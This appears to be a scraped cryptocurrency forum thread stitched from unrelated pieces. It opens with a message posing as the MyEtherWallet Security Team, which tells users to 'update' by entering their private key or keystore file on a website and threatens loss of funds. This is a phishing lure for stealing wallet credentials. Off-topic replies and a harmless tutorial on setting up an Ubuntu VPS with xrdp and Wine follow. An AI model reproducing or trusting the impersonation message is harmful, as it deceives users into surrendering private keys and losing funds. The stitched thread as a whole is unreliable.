Announcing MyEtherWallet v3.24.00: Difficulty Bomb&Updating blockchain

Due to the complexity of the Bomb and the increased risk of hacking, we pushed a rather drastic update that implements a number of changes and improvements, including enhancement of efficiency and scalability of the blockchain, acceleration of transaction speed, and additional security in the form new formats private keys which will help protect users against hacking.
If you are using private key or UTC, then you need to go into the wallet and update manually, otherwise they risk being unprotected.

How do i update my Ethereum wallet?

1. Go to our website /]MyEtherWallet.com
2. Unlock your wallet using your Keystore File (UTC / JSON) or simply use your private key.
3. Click Unlock and wait for the update.

Please note that you need to manually update your wallet, failure to do so may result in funds being lost.

We are taking these measures to protect both you and our network from phishing and malicious attacks.

Thank you for your cooperation and understanding!
MyEtherWallet Security Team.

If you use other methods, then ignore this message.

He's probably confused since you posted this in the mining forum.  This isn't the staking forum. Furthermore, why go to all of this work when you can just install the coin's linux wallet?

Why? It's just ctr+c ctr+v work, and after all you will receive vps with GUI and with windows programs compatibility. For people, who never work with linux. Why? It's cheaper!

Why Linux?
Because
1) Don't need to pay for a Microsoft license.
2) System requirements Linux is much lower, and as a consequence you don't need to overpay for HDD/RAM

VPS on Linux can be rented for $ 10-12 per year here http://lowendbox.com/
Or get a year free from Google, and enjoy the whole year instead of 5 months with Windows


Consider the Google Cloud

You have reached the moment of choosing the configuration in Google, choose ubuntu 16.04 LTS, 10GB hard drive, 1.7GB RAM, and that will about $ 15 per month, or $ 180 per year, from the free 300$.  

Create

Push on SSH, in the opened window we enter

Code:
sudo apt-get update

Code:
sudo apt-get install ubuntu-desktop

Code:
sudo apt-get update

Code:
sudo apt-get install xfce4

Code:
sudo apt-get update

Code:
sudo apt-get install xrdp

Code:
echo xfce4-session >~/.xsession
Code:
sudo nano /etc/xrdp/startwm.sh

A text editor opens in which you need to delete everything, and paste
Quote
#!/bin/sh
if [ -r /etc/default/locale ]; then
  . /etc/default/locale
  export LANG LANGUAGE
fi
startxfce4
echo xfce4-session >~/.xsession

After leaving the space after the text, press ctr-x, confirm by pressing Y, and press Enter

We add the user with the command

Code:
sudo adduser username

We write the password, and skip everything else

Code:
sudo adduser username sudo


Code:
sudo dpkg --add-architecture i386

Code:
wget -nc https://dl.winehq.org/wine-builds/Release.key

Code:
sudo apt-key add Release.key
Code:
sudo apt-add-repository https://dl.winehq.org/wine-builds/ubuntu/

Code:
sudo apt-get update

Code:
sudo apt-get install --install-recommends winehq-stable
